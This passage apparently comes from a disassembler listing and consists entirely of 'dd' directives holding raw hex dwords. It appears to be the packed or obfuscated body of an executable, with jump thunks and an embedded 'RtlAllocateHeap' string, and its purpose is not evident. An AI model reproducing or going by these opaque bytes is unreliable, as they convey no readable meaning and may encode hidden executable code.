		dd 5F2CC512h, 0C6CA63B0h, 2B63FC49h, 6EBD97E4h,	0F9812166h
		dd 6E85624Dh, 0A336D9B5h, 305B1475h, 6004838Bh,	6C7747DFh
		dd 305D6E01h, 0ADE1AADFh, 71E1562h, 0DF5F88FFh,	8FF0FB47h
		dd 0ADD12FDh, 0AC99A277h, 711DD6EDh, 9FAB0B9Eh,	0DE49F17Dh
		dd 5869ED3h, 0B54DF17Dh, 390237D8h, 0C085BA55h,	0E810D50Ch
		dd 0FB7C15CCh, 0ECA1621Dh, 0F45FA23h, 176FDC6Fh, 0C424AE4Bh
		dd 33Ah, 0A06F1CD5h, 0AE9BDF0Dh, 2EEDD4DDh, 0F1752826h
		dd 0A213849h, 0F1748502h, 3BEBF64Dh, 4DF1744Ch,	74870008h
		dd 0E9F44DF1h, 6BB34651h, 0B4DA0AA2h, 2E0136D9h, 7FB83505h
		dd 33E3C314h, 9548B524h, 0DEE6A58Ch, 4568AFC0h,	0DA679CA7h
		dd 1D25E4D1h, 4756BFA6h, 5ABFCCCDh, 772DD32h, 10FF8F48h
		dd 0AB642AC3h, 0CD629F2Ch, 0E7AE5316h, 360h, 0D11EF1A0h
		dd 6EBB5438h, 0D5AB5D5h, 0A7F41B74h, 43907F0Eh,	18C6253h
		dd 6328C10Eh, 0CAC65FACh, 2F5FF845h, 6AB993E0h,	0F9822562h
		dd 0A379564Dh, 1C0A5AEh, 0F97F19F9h, 3AF90449h,	0CD020D81h
		dd 3FF867FAh, 4902C14Eh, 3936C946h, 0ED22EDA0h,	8F800DC6h
		dd 94F4875Ah, 4DF980F8h, 24A36C22h, 145FA86Dh, 0F57940E5h
		dd 35000002h, 0CD66B35Ch, 6A0350BFh, 9A2EF20h, 0A33C8986h
		dd 0E8D825EAh, 0A36C21CDh, 41CEBD56h, 0DA355BF4h, 759AF48Dh
		dd 0F7FF4E28h, 4DF98290h, 0AE4016F3h, 0F901C0A5h, 49F97F19h
		dd 0E86924DDh, 0E539FEBDh, 2F64CFB2h, 808FFB5Ch, 9DE5784Bh
		dd 0B851363Eh, 30B4DF9h, 4DF9B884h, 4954ECF7h, 25661FDEh
		dd 4FE2B5EAh, 242C436Ah, 4DF9B863h, 22821520h, 4DF9B869h
		dd 1C736E8Ah, 24A6BBA4h, 1DD71h, 1C72C300h, 107B34F3h
		dd 0BE876CFFh, 0FBF23FD0h, 5FABDCE4h, 7C0F47DFh, 0F38B5E93h
		dd 0A0587E8h, 9A6F02D5h, 64E5A491h, 0A3F9B2FDh,	0F7E1199h
		dd 0F1CC8707h, 0BEF3FE49h, 0F788097h, 6C4DF1CFh, 1D6ECE61h
		dd 0D64DF1CFh, 606027BAh, 4824AE8Dh, 0D65E2931h, 541D4DF1h
		dd 99AB2B4Bh, 1DB01B42h, 4C1Bh,	0A5AE6D00h, 424801C0h
		dd 60167179h, 5A6547DFh, 0E5ED5CEFh, 49F17EE1h,	0C84744FDh
		dd 0E52DC093h, 0FE8DA5DAh, 0BC4DF180h, 430C41CEh, 0F98FC44Bh
		dd 0BFE7FCE5h, 0C4453EA3h, 0F49CD022h, 3FE2F21Bh, 0F2D23FD2h
		dd 2724AE18h, 0ADh, 0F31C7279h,	5A1697BEh, 43559C7Dh, 0B5EA2569h
		dd 0D3E477E2h, 572055BAh, 0DAA3D837h, 260E5BB4h, 47E0444Bh
		dd 0E330DFAFh, 0BACDD5ECh, 0C947E04Dh, 4D562BBEh, 88F31C72h
		dd 0F058C1C9h, 3C4749F2h, 45CAC47Dh, 3BAA3D10h,	82050D24h
		dd 14DF3A3h, 3B5263F6h,	0F863ACDEh, 91FBB4ABh, 0B3DAEB7Eh
		dd 323ADD5Ch, 7318EBAEh, 157ACh, 15FA9700h, 0B25D2FC8h
		dd 51BECC65h, 0EB246B04h, 8788059Eh, 836B4A3Ah,	1FB8050Ah
		dd 0BD56A36Ch, 56EF3CD3h, 0B08AD738h, 842E5961h, 704D4DF9h
		dd 361B729Ah, 3E56CAA0h, 0BE0B7629h, 59A66925h,	0FD1C72A3h
		dd 784B808Fh, 7F0FD80Dh, 3677C0D2h, 3CA7000Dh, 9977F8EFh
		dd 0E10F5D97h, 0C74844A5h, 1B565F34h, 9197659Ah, 14C458F0h
		dd 47E05E73h, 0DB9A0510h, 0F2AD2DD3h, 36F50049h, 8700081Fh
		dd 0F44DF210h, 65222AE9h, 164DF210h, 2667780Bh,	0D7B49CE9h
		dd 0E34DF210h, 7E1764ABh, 176420Fh, 2DF48780h, 768203C2h
		dd 16480ECh, 74DF305Ah,	0A135FCE1h, 5E000000h, 7483F47h
		dd 303B4DF2h, 5B146F9Dh, 97E8635h, 7A47DF60h, 0FCCF046Fh
		dd 8B1EF19Bh, 9C8ADB6h,	0F97F1501h, 7858D949h, 0DDE57EB2h
		dd 0E9F43CCFh, 6CA3EBB4h, 4908861Fh, 0A54A2DACh, 6FA40FB1h
		dd 82DB5357h, 19C8DC2Dh, 24FC0CEh, 2BEA2569h, 92F5FD14h
		dd 0F16E90D4h, 0D45136E6h, 25696E90h, 4AE2B5EAh, 0A0C7AC3Fh
		dd 0A45F521Fh, 4F780E3Ch, 0F109A0EDh, 1F30C341h, 0C26A9F70h
		dd 0AEE00BD6h, 838BA261h, 6E914804h, 0DCD96C77h, 5C44B43h
		dd 6FD03F4Ch, 775CEF20h, 3B0h, 34221A00h, 0BBF01F72h, 3E739CF2h
		dd 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h
		dd 568B8406h, 0DB10FF8Dh, 0E08950D4h, 405h, 42D00h, 4870000h
		dd 4895C24h, 0FB76824h,	4890000h, 70346824h, 3C890000h
		dd 0D4BA5224h, 0B822630Ch, 0E3B714FAh, 652AE905h, 2DD00122h
		dd 22652AE9h, 3C8B545Ah, 4C48124h, 52000000h, 8BAh, 0D0C28100h
		dd 13EBF2Ah, 0D0EA81FAh, 893EBF2Ah, 34FF5A02h, 0C4835F24h
		dd 24048B04h, 5E08950h,	4, 405h, 24048700h, 5A2BE95Ch
		dd 811CFFF8h, 0B89AF8C8h, 61A2657h, 0E0FFC503h,	6DDA58D4h
		dd 0A792217h, 2A05617Fh, 0B0396C0h, 32D1FC85h, 36035DF5h
		dd 4A6C2BD3h, 35616CBEh, 2CC32192h, 4C9CA708h, 13A93869h
		dd 73D6FE2Ah, 0C114631h, 28F7436Fh, 5051630h, 56DA64ADh
		dd 6BEFD5F5h, 16E936Bh,	27DC8D8Dh, 0D5B4061Ah, 2DCD8D89h
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 85C726C3h, 61231BDh, 7038h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 55C35040h, 0C7313D48h
		dd 12001185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0E80C6270h, 4159D09h
		dd 810F0612h, 6, 3311B531h, 0B5FF0612h,	6120835h, 0CD8D2960h
		dd 5306122Ch, 0FF615BF8h, 12278195h, 999D8B06h,	6A061207h
		dd 0D195FF00h, 8B061229h, 0B64DEBC0h, 0B5B4249Ch, 0B0DA0A84h
		dd 75EDE810h, 58AA11DAh, 0CFE49B8Eh, 0DDC06716h, 0C513F8F7h
		dd 0F24CB34Fh, 0CE3FD4F9h, 0F9CB93A8h, 0F8C5A2D3h, 665B07F1h
		dd 0BFFE91A4h, 7768E386h, 0E0A20CCh, 30D41C87h,	13DFDD18h
		dd 264B5182h, 0B6FEF64Dh, 28E9h, 0A820B100h, 6C745229h
		dd 6F6C6C41h, 65746163h, 70616548h, 14000000h, 4 dup(0)
		dd 107AE900h, 9D680000h, 0E9061A2Ah, 0FFF85895h, 1A2BB268h
		dd 588BE906h, 0E768FFF8h, 0E9061A2Dh, 0FFF85881h, 1A2EEC68h
		dd 5877E906h, 3268FFF8h, 0E9061A32h, 0FFF8586Dh, 1A32C668h
		dd 5863E906h, 568FFF8h,	0E9061A33h, 0FFF85859h,	1A33EB68h
		dd 584FE906h, 0A668FFF8h, 0E9061A34h, 0FFF85845h, 1A350468h
		dd 583BE906h, 7368FFF8h, 0E9061A36h, 0FFF85831h, 1A373F68h
		dd 5827E906h, 0F79AFFF8h, 5A32CB18h, 0BBCF68B5h, 216E0754h
		dd 8508A1EEh, 684D3D8Ah, 0BB080786h, 59A66922h,	0F23FD0C0h
		dd 8DDA3559h, 2B5C64B3h, 584DF988h, 9314A57Bh, 0D8F2E904h
		dd 60411E25h, 3C04A73h,	3E5061F4h, 0BBD39CD1h, 3A561F54h
		dd 305D16D5h, 0BF674CDFh, 0BBD30ED3h, 0C7A02F96h, 0E04B3769h
		dd 7D859C93h, 47E03E0Ah, 9A32DDB0h, 0BFC8D08Fh,	0BC47E03Dh
		dd 800D1EB1h, 0CA4B428Fh, 996E4588h, 77881BAAh,	0FAC3F817h
		dd 372E7B94h, 0CD020D7Eh, 899267FAh, 2574D1DEh,	84EFC8C5h
		dd 0FBD1BDC5h, 0EBB449F1h, 0DF1D10D9h, 110717C7h, 1D2E84ADh
		dd 455C1B86h, 0F2224A3Dh, 9B2E394Dh, 22ED9EB6h,	0C0CD4DF2h
		dd 39511A4Fh, 28DCA1D6h, 0E0FC24B9h, 210A8A01h,	5ADF24AEh
		dd 31000000h, 0F9009314h, 0C4FBF0F6h, 51E42B63h, 0CF8E737Ch
		dd 659A7516h, 53C6A3D4h, 0C02BBA89h, 10B6BE2Dh,	5049F1E0h
		dd 9E5DF497h, 0B79F5808h, 0A275AA15h, 6068C70Fh, 4DF1BE27h
		dd 0A9DE4954h, 4AC5C982h, 356AA5E9h, 1C6FCF62h,	0D74DF1BEh
		dd 675F26BBh, 0B424AEA0h, 0DCh,	0F31C7206h, 0B998F5BEh
		dd 2C609C5Eh, 0B2DBAEE3h, 8C0005BEh, 78AD1883h,	0FB30DFAFh
		dd 66B35C32h, 2CCEE6Fh,	3F749BF2h, 0EDF6436Ch, 0A1CB2BBEh
		dd 0CB47DFEEh, 66FF4CC3h, 25B2E728h, 6E76351Ch,	49F1F16Ch
		dd 0E8315A5Bh, 94FF6AA5h, 0F4E1EA47h, 0FE117C35h, 92F4FC6Bh
		dd 0CE50049Dh, 95D8AFB7h, 831A47E5h, 8E35730Ch,	0F71EE77Fh
		dd 4248FFA1h, 266E016Ch, 3D455C1Bh, 47E6474Ah, 2C9B2E39h
		dd 0A8F51A73h, 12917E0Fh, 0EDBC9509h, 77BD8429h, 0D500000Dh
		dd 6D0653BCh, 0AA3F01Fh, 0A9428F80h, 43DC29E6h,	8878C54Ah
		dd 43CCC12Dh, 0E12E5DF6h, 7A95FB94h, 15FA942Dh,	979FEEC8h
		dd 4DF989F0h, 72E0B693h, 828DFE1Bh, 5D31CA17h, 533AF3B2h
		dd 92F5FDBCh, 0F147DF5Fh, 0A05653E6h, 1C0A5AEh,	0F17ECDF9h
		dd 0F82D3849h, 0F180ABE0h, 0B52C484Dh, 0AEDFE6DEh, 0E73324h
		dd 2D440000h, 0F18C6225h, 8316214Dh, 9F1C7255h,	0DF5FF097h
		dd 23646C47h, 6047DF60h, 47B2BD55h, 0CB444912h,	5AEE7E96h
		dd 365847DFh, 640A7D85h, 6E7947DFh, 0E4C34403h,	5BB4DADFh
		dd 2AF98A32h, 8D019A97h, 0B7C04D82h, 0D7030BCAh, 9F49F200h
		dd 35CEC11Eh, 0C85B8059h, 31287580h, 3AF91678h,	0F1865532h
		dd 881B264Dh, 0CBC5AAB3h, 66D13E4Eh, 5F343CFBh,	44500428h
		dd 87F97A39h, 3AD96F97h, 0FD68A7E5h, 0EA1FF09Ch, 0FE158417h
		dd 0BFC8D0E7h, 0BC47E640h, 408601B1h, 0EAF547E6h, 0C8474657h
		dd 64ABE27Bh, 0BC9C5CE5h, 0AD176EDh, 0C62h, 0F13ED1C0h
		dd 8EDB3458h, 2D7A95F5h, 0C714FB94h, 63B05F2Eh,	0E1AC4273h
		dd 4348E12Eh, 0AAE67FCCh, 0F7F1865h, 8AD9B300h,	0F98B0582h
		dd 0C399764Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 7699F5BEh
		dd 5F4A4129h, 1E7047DFh, 0F4ADA4F1h, 0C44D7699h, 0CFFA32E9h
		dd 781627BAh, 243B6297h, 0DFD56B1Ch, 8E5C8747h,	4C46689Ah
		dd 516A9B4h, 72518689h,	96F8F3EEh, 5F372C79h, 8C22BC13h
		dd 0ABh, 2A5AEDEh, 7B7B8A7Bh, 0B2D83910h, 2B33F25Dh, 49F24013h
		dd 4B72A7B2h, 991C25CAh, 13E61BF4h, 0C11BF3EAh,	21BDCE2Eh
		dd 0F7364DF2h, 21AFD8E0h, 0C1CC4DF2h, 88FFE22Eh, 24AE2008h
		dd 6ADDh, 6B232F00h, 8D47DF5Fh,	0D6DE9D84h, 49F16BE0h
		dd 0D66FBCC7h, 0E72862B7h, 0B1BA477Ch, 741F6870h, 515C4DF1h
		dd 0C71F27E6h, 0EE500390h, 1E9F96E3h, 5B56EDA0h, 0B5C659CBh
		dd 72FF34DBh, 216F2869h, 0D1493EEEh, 393A47DFh,	0B487BC53h
		dd 171FDE49h, 49F1F863h, 0BF783742h, 3B0E43CCh,	0FBB4ABA8h
		dd 73467B94h, 88ED1E0h,	0AE3B0000h, 0EA01C0A5h,	0FD6BC169h
		dd 0D0557E91h, 0F151E439h, 49F24F05h, 917B8809h, 0F033C47Bh
		dd 7C14155Dh, 208B5E93h, 850BC4EBh, 0DE13FC94h,	0AD0DA00Bh
		dd 4DF239DEh, 0A1E8F915h, 24AE3821h, 1EF6h, 68234800h
		dd 4847DF5Fh, 55BAD089h, 0A4EC4D20h, 0D3C9D86Bh, 0F2FFFFFBh
		dd 83B85739h, 0AEEF1DB0h, 0F901C0A5h, 49F18FB9h, 7DA4D9E4h
		dd 0B043CCC4h, 0F1903B50h, 459CB84Dh, 0AED2764Eh, 127D3624h
		dd 62F5C8FDh, 4FB60h, 0C9F07100h, 58DE2DDDh, 780F17D6h
		dd 0B4DF25Eh, 9B3F6D00h, 0EAD7E0B9h, 7B0C142Bh,	847DF5Fh
		dd 0F3FB6AFDh, 49F1755Bh, 29E6A9AAh, 4B3CAB00h,	0BD28C48Ch
		dd 0CBC47D6Ch, 0E27E0F44h, 9D081460h, 4EAE41ACh, 0B414D21Eh
		dd 11C469EAh, 4F9B6532h, 0F7DEE7BCh, 0D05E3038h, 1E29F9C8h
		dd 6E535CE9h, 4D6EA7AFh, 4A55F3B8h, 5DBCD28Bh, 0D9ACE12Eh
		dd 688216Eh, 8C858A09h,	28CD426Ah, 0A2D61h, 9068B00h, 0A66923BCh
		dd 45CAC059h, 0DF305FF8h, 7B94F992h, 77773E2Eh,	13ACF916h
		dd 0B14A9778h, 4AE330DFh, 0A47ECB44h, 8D3A4D55h, 6C494DF9h
		dd 0EF931496h, 0CDA2078Fh, 206E7F12h, 242DBAEFh, 5C767E3Dh
		dd 4B49F1FBh, 0BCA3E4ECh, 0D5E04DF1h, 98F2AB6Ah, 0DC6F4277h
		dd 373F566Dh, 4DF1BC50h, 0C7C72833h, 0ECA4B548h, 7DB25D2Dh
		dd 0FBF23FAAh, 92C74842h, 751B2CBFh, 0BF5ADB9Ah, 0F00B3703h
		dd 193116A9h, 4DF1F56Eh, 0F20596F5h, 6A57604Dh,	7798F2ABh
		dd 356D75E4h, 500413h, 171F36F5h, 47E00770h, 94C9464Ah
		dd 8B1E29C1h, 7FD8EA6h,	0DAF647E0h, 56008007h, 24D522BCh
		dd 27000000h, 1C0A5AEh,	0F17FC9F9h, 0AEB6CD49h,	4DF17FD9h
		dd 0B01E1AAh, 0D093E4F5h, 7F8AD265h, 15834Ah, 0AEED0000h
		dd 0F901C0A5h, 49F17BF5h, 0A9D00510h, 3D729DF0h, 72A9D76Ah
		dd 9974F31Ch, 0D9EDBA7Dh, 9286D34h, 0B860000h, 6E1EB704h
		dd 0CFBB54A1h, 355AF340h, 99F48DDAh, 7C392976h,	0A7F41B72h
		dd 45927D0Eh, 0DE2BE4ACh, 79C64945h, 3F48509Fh,	3C4DF98Eh
		dd 0A5AE895Fh, 6023646Ch, 556047DFh, 5F232BEAh,	4E49F170h
		dd 79A0E7EFh, 2D524DF1h, 9CC2C966h, 0EE4F5AF2h,	693C719Eh
		dd 8E00C9FEh, 0C24C3481h, 382E9AD5h, 97F4412Eh,	3C4B538Eh
		dd 3F6938D9h, 19F50B34h, 0C599EF01h, 0ACE29B5Ah, 4A61D063h
		dd 8316F991h, 4ABBCB23h, 939BFA6Bh, 6F2AC3F4h, 67202887h
		dd 146F2AC3h, 0FE339E09h, 9F701ED7h, 7E91FB0Ch,	0F0CBD431h
		dd 683B709Fh, 6C363EFDh, 5B713CF0h, 88031B50h, 6B6938A9h
		dd 9BFB924Fh, 0E303E5A8h, 17AA652Ah, 16915h, 70F2600h
		dd 6938B180h, 21B9563Ah, 14558316h, 0ED7B7393h,	0DF81A2E5h
		dd 0ADD6E147h, 74072AADh, 0F0AF969Fh, 0F2419AE8h, 2ADCA549h
		dd 14FB9446h, 0D5E30CDFh, 3F74DF41h, 15391876h,	0E53BE1D3h
		dd 0CAC10E79h, 343C7F11h, 4DF1EA53h, 27BA2530h,	62977816h
		dd 9B1DC44Ah, 0C8192D2Eh, 424A711Dh, 69391045h,	73C02B36h
		dd 265BB4DAh, 0E243000Eh, 0EEF3DF49h, 27749BF3h, 500F008Eh
		dd 0E116F997h, 9967B0Eh, 0CBBCC4FDh, 0B84DF1EAh, 0CF404CADh
		dd 0A9DA564h, 0B94DF1EBh, 0FB0461AEh, 0EF9E5716h, 305AEB20h
		dd 85C8C697h, 7FEE81ECh, 3B4A377h, 42778250h, 8BFC041Bh
		dd 0F847DF63h, 45495AEDh, 0AAE47DCAh, 90FA1F6Fh, 0C774A7Fh
		dd 5B546CA1h, 0A047DF64h, 0CCC22DB4h, 1B0EF643h, 1BDBB39Ch
		dd 0BFC8D011h, 0BCBC339Bh, 68746B1h, 9FB21744h,	0FFEE57DBh
		dd 0DDD09DC6h, 572D9F26h, 107BC439h, 889807Dh, 0BDD90C1Dh
		dd 5364F79Fh, 9415D43Bh, 8A9269CEh, 0BC336FFDh,	884A737Eh
		dd 0B4992C85h, 59B6D48Dh, 30F166C6h, 53C3DDBh, 0A6CF404Ch
		dd 2D412AB5h, 0A8F48727h, 2FE0AE39h, 0D44549E2h, 502358B7h
		dd 1A23B0E5h, 4FBA5535h, 2D9A8890h, 5A653C05h, 305D160Dh
		dd 6BA4E9h, 5665F8CBh, 63h, 45CAC67Fh, 0A5AE84B2h, 0C9F901C0h
		dd 0F449F17Fh, 3D729DF3h, 7F790E16h, 0FF0A4DF1h, 2BF42994h
		dd 38D7B861h, 0EFF70ECDh, 4DF17F98h, 6FA46B22h,	66F9049Ch
		dd 0D6B97269h, 29141039h, 0C9E2EBE2h, 0E9425D36h, 88FF071Eh
		dd 0D44DF1EEh, 0F1EEBBCCh, 25BDC84Dh, 0A6B2871Ah, 0C9F6FEBDh
		dd 0FA4DF1EEh, 724947EFh, 1D34F31Ch, 0DF5F7215h, 0DA481147h
		dd 21371CD6h, 827F127Dh, 76351C25h, 2BE4A65Fh, 3E963898h
		dd 0E6F149F2h, 0ED226E27h, 868907A0h, 0D6BBC451h, 65C30F17h
		dd 31325004h, 0AE81B659h, 0CE038443h, 54C2280Bh, 931C2134h
		dd 3ED2766Ah, 0DDAEC6ABh, 1947DFE8h, 4B622110h,	0B8C0FB92h
		dd 47DFC8CFh, 136A1ACh,	673B9B2Eh, 5649F1F5h, 8DFE164Bh
		dd 664DF1A6h, 90F0974Ah, 4524AEB9h, 18h, 0C0A5AE97h, 7FC9F901h
		dd 14CD49F1h, 0BA02957Ah, 0EB37AAFh, 1D000000h,	1C0A5AEh
		dd 0F17BF5F9h, 0D0051049h, 0F31C72EAh, 0BA7D8F74h, 0F7BE63EDh
		dd 5E2h, 71BE5140h, 0E5BB4D8h, 0ADFA1575h, 47947B14h, 0E330DFAEh
		dd 612CC2F3h, 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h,	0A593380h
		dd 0F9918502h, 4319F64Dh, 0C6CFA89Bh, 256720DFh, 4FE2B5EAh
		dd 7576D8E0h, 869149F1h, 272F4635h, 4DF17460h, 25851823h
		dd 8B9646A2h, 0A7664B54h, 4646FF9Fh, 0A6DBE60Eh, 62211019h
		dd 0BC61CA4Bh, 15C39F95h, 0FAA12282h, 0C7D20C37h, 0D13E4F08h
		dd 0C736C99Ch, 7798F7B0h, 54BBD3E4h, 0EF206E07h, 0EE2CF970h
		dd 0DD47929h, 54Eh, 0DD2AE5ACh,	7AC74844h, 1966A9E1h, 0B3000F80h
		dd 4F9C731Ah, 0F598565Fh, 5734CD1Ah, 0BED26BB8h, 236B0451h
		dd 76C59FECh, 0F992196Eh, 0B78D6A4Dh, 74F31C72h, 0EDBA7DFBh
		dd 0F0BD277h, 6D000005h, 59EEB24h, 0A23B8887h, 41DA27E8h
		dd 0DB74C14Eh, 20105DB2h, 0DB345995h, 7996F58Eh, 12FD932Ch
		dd 0AD622CC5h, 2F378660h, 4DF99258h, 14784E2Bh,	0A5DA355Bh
		dd 602E3FD2h, 0E4ED7AAFh, 568B8407h, 51591883h,	49F98873h
		dd 681F2786h, 1B4DF987h, 0FB58A510h, 2D4403F2h,	2D82C9ACh
		dd 113AEF7Ah, 0DD6CF68Ah, 0E444D770h, 500B8382h, 2D457A85h
		dd 47E7785Eh, 0F19D5695h, 0A23F8B1Eh, 0B4FBEBEBh, 9A4022h
		dd 9B920000h, 0F0D5DEAFh, 75252931h, 556049F1h,	7E912404h
		dd 0A0A976D6h, 0C4DBF2B1h, 0F466CBBCh, 6FA0EF10h, 0D939CCD7h
		dd 130695B5h, 6990C5D0h, 19EFDDE8h, 13A6090Eh, 9150353Eh
		dd 0FA898C89h, 0B1707B18h, 2C7996F8h, 721EFB93h, 3495689Dh
		dd 0AF82B758h, 5030C544h, 3DE224A8h, 42976h, 50A8700h
		dd 0A26D1FB8h, 41CEBC55h, 0DB345BF4h, 7798F58Eh, 737B3A2Ah
		dd 0FA8F51Ah, 0AD46937Ch, 46DF2CE3h, 0A07AC748h, 933E4951h
		dd 603D4DF9h, 0B6748Ah,	0E49D0000h, 0A6D467A8h,	646CA5AEh
		dd 47DF6023h, 0E61BF497h, 5707B13h, 0C038D46h, 27104D7h
		dd 0F987DAFAh, 0B1DD9649h, 0C356295Eh, 0FF107A7Bh, 701CD594h
		dd 36976A9Fh, 0B322B55Ah, 2E7B94FAh, 0FF107E37h, 5364F7CAh
		dd 5FB0DE3Bh, 0B7EC572Ah, 5BB4D790h, 0FBEAF3C8h, 0B7DA343Ch
		dd 0A2AD500Bh, 96D7E06Dh, 0E777F98Eh, 2C5B6347h, 4F47E778h
		dd 36A1AC44h, 9AB36F77h, 778249F9h, 0A04F53F8h,	0B37A1FEBh
		dd 36Eh, 0FD4AC5CCh, 9AE72864h,	39868901h, 0D320EFA0h
		dd 6FBC533Ah, 0D5B8367Fh, 3754ED3Ah, 9EF28BD8h,	38B2471h
		dd 96E5BF0Ch, 0F993F98Eh, 0D7AD8A4Dh, 0DF5F6423h, 5F8CFF47h
		dd 616A47DFh, 17ADB574h, 6A49F988h, 82032A5Fh, 0A82C9DCAh
		dd 68790C21h, 0AB6AE926h, 27EBA0B5h, 310BB82h, 236E0000h
		dd 86069FECh, 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh
		dd 8FDC335Ah, 2D7A95F6h, 0C613FC94h, 61AE612Dh,	57303887h
		dd 244DF994h, 1C727147h, 2831BEF3h, 40727A39h, 6F49F182h
		dd 0A0ECA564h, 0F7DFDC6Fh, 18A4C61Dh, 7EFB5637h, 3BCF7888h
		dd 942D7AE5h, 0CDBAC2F9h, 0AE730741h, 760338A3h, 843A876Ch
		dd 34F31C72h, 9EA6157Bh, 47DF5FE9h, 0EF248F9Ah,	7DA4891Ch
		dd 21CF4FCh, 9F320F82h,	0C20F008Eh, 0B6755C65h,	0F242E0AEh
		dd 679CA749h, 0F1F93C4Fh, 0FE117E4Dh, 848B00C9h, 0F5EC704Fh
		dd 35ACC8F0h, 0AE7B665Eh, 43B324h, 0AE050000h, 0F901C0A5h
		dd 49F17ECDh, 0DD325811h, 0FA42D5A8h, 0DA93BAEFh, 2B18A1B0h
		dd 0B757FDDEh, 414E174Ch, 5BC699CEh, 5E2368C8h,	0B4D04DF2h
		dd 6E662Dh, 0CD4E24AEh,	0FDFCE1FAh, 2224B713h, 0B6h, 351C7274h
		dd 96E64E10h, 996055h, 2F19F21Bh, 0B3D4DC9Bh, 0D047E034h
		dd 5C255AC5h, 0E0A9DE31h, 632C61AEh, 0AF97E42Bh, 47E02FBDh
		dd 5BA86727h, 0E43CCC2h, 0CA897881h, 4AB27449h,	0C79ACF40h
		dd 4EAA129Eh, 0DFB04146h, 0CC374247h, 94C2CA39h, 349F1A8h
		dd 16818E02h, 21EE9E57h, 2B34918Eh, 9C7F8746h, 87500455h
		dd 8904BD7Ch, 0EDA03986h, 82FCA322h, 0B156EDBCh, 1A1EAh
		dd 7D92FF00h, 1AF59730h, 0B95634CDh, 53BCD36Ch,	0EF206D06h
		dd 0EB03B2A2h, 87206DA2h, 25BE0B04h, 0BE57A46Bh, 18F23FD0h
		dd 95C6C1C9h, 0D8B54DF9h, 0F41B7202h, 8F800EA7h, 0A5AE8C42h
		dd 31EA01C0h, 0C020B35Ch, 49F17F06h, 0FB88C94Ah, 0D500DF6Eh
		dd 30EFFA42h, 0CDA029AFh, 8D202394h, 29FB90A8h,	0B9F84DF2h
		dd 4E838C00h, 3630C0BDh, 0FC67FE4Dh, 0CDC41D69h, 24AE5BF5h
		dd 8922h, 107A3300h, 64F7CAFFh,	0F31C7236h, 7798F5BEh
		dd 5A422A42h, 0E2AC47DFh, 4747E02Dh, 0FD0693C8h, 5515918h
		dd 0F049F15Dh, 0E8A198E5h, 0F51A75A4h, 1922F78Ah, 59656D2Ch
		dd 6C500408h, 0A4E9A261h, 8851E6Bh, 0D1DD8807h,	9035EDBCh
		dd 0D5C9h, 0B15E3300h, 4EC1CB64h, 0ED226801h, 878807A0h
		dd 23ECA13Ah, 1FCFE6D6h, 0BB54A16Eh, 59F23FD0h,	0F28BD837h
		dd 4C26739Ch, 9692F5FDh, 14F14DF9h, 0F41B723Eh,	8F800EA7h
		dd 1C728C42h, 99F5BEF3h, 8DFEB776h, 0E77A4D82h,	9D848DEAh
		dd 8802D6DEh, 0D2DD49F9h, 55BAD49Dh, 0FA1F6F08h, 1C567F90h
		dd 2F75DA0Ch, 789FD43Fh, 0AC3FD0BFh, 2C4DC14Ch,	0C51C3016h
		dd 0D9B5642Ah, 0D2DA0136h, 71882EB5h, 0E550BBC6h, 808FFF98h
		dd 0E829AAC1h, 0B8F30ED8h, 0BE7611C1h, 0FA057187h, 0D6B98267h
		dd 0CEC17A39h, 0A6390C41h, 890A19C1h, 2B2BBCCBh, 18F7931Eh
		dd 0D03F4CADh, 0F5F0F13Dh, 90297699h, 0B5DC11FEh, 23F1969Eh
		dd 87927188h, 70A56A26h, 3FB0A9Dh, 65000000h, 1F723422h
		dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh
		dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 50D4DB10h,	0BE56E089h
		dd 4AD21484h, 0F74EDEF7h, 0ACC681D6h, 81644B53h, 1D682CEEh
		dd 5EF001AFh, 8704E883h
		dd 535C2404h, 0C381E389h, 4, 4EB81h, 1C870000h,	1C895C24h
		dd 21826824h, 3C890000h, 28D86824h, 1C8B061Ah, 4C48324h
		dd 4EC81h, 24890000h, 24048124h, 4, 8B8505Fh, 1000000h
		dd 0BA52F8h, 1000000h, 5A1A89C2h, 243C8B58h, 5E08950h
		dd 4, 405h, 24048700h, 241C8B5Ch, 5E08950h, 4, 8704C083h
		dd 0E95C2404h, 0FFF84829h, 4DA1EFF1h, 1A3839B8h, 0FFC50306h
		dd 316941E0h, 73B2EE70h, 56E6A55Ah, 7FA8A00Dh, 7F263F6Bh
		dd 8D2CBA03h, 15280F2Bh, 0FD40462Dh, 0A95F142Bh, 0F00CF928h
		dd 5F129671h, 72142F75h, 9E503651h, 6DA9B24Ch, 0C90C031Dh
		dd 0BABFDD3Ch, 9BB80850h, 7ACB9A20h, 0A1D81F6Ch, 6A360070h
		dd 9E965h, 2D9C0000h, 5E9Dh, 0E9000000h, 60Ch, 5DAA652Ch
		dd 0FA47C8C4h, 99E62961h, 33808F00h, 0CF1CF39Ah, 7518D6DFh
		dd 0D7B44D9Ah, 3E52EB38h, 0A3EB84D1h, 0F6451F6Ch, 0F99899EEh
		dd 370DEA4Dh, 4C351C72h, 6E7FAA22h, 520BCA35h, 593ED13Eh
		dd 0FC041B32h, 47DF748Bh, 4A3DEDF8h, 3947DF74h,	38A9B2Eh
		dd 47C8BF0Ch, 0B911D1E5h, 5768FB43h, 0DAA3D837h, 1B9C5BB4h
		dd 4ADB351Bh, 0F2D76AF3h, 93D4ACBh, 0B16703B9h,	907F0D1Eh
		dd 30B1C55Bh, 0E936D9B5h, 0B1D94050h, 0B998295Eh, 0E853D6Fh
		dd 0FD05C42Fh, 47E0148Ah, 3683EEF9h, 0E71CF39Dh, 0E3A26D1Eh
		dd 0B028B062h, 0E02EDFA8h, 68919C47h, 0CC8B7B29h, 0DF80C3C4h
		dd 22B5C047h, 38A9953Dh, 5836E3ADh, 535B82B7h, 47DF8134h
		dd 0A8D13C47h, 2A0D2BE9h, 0D21F8A21h, 0CBC45539h, 66A9E344h
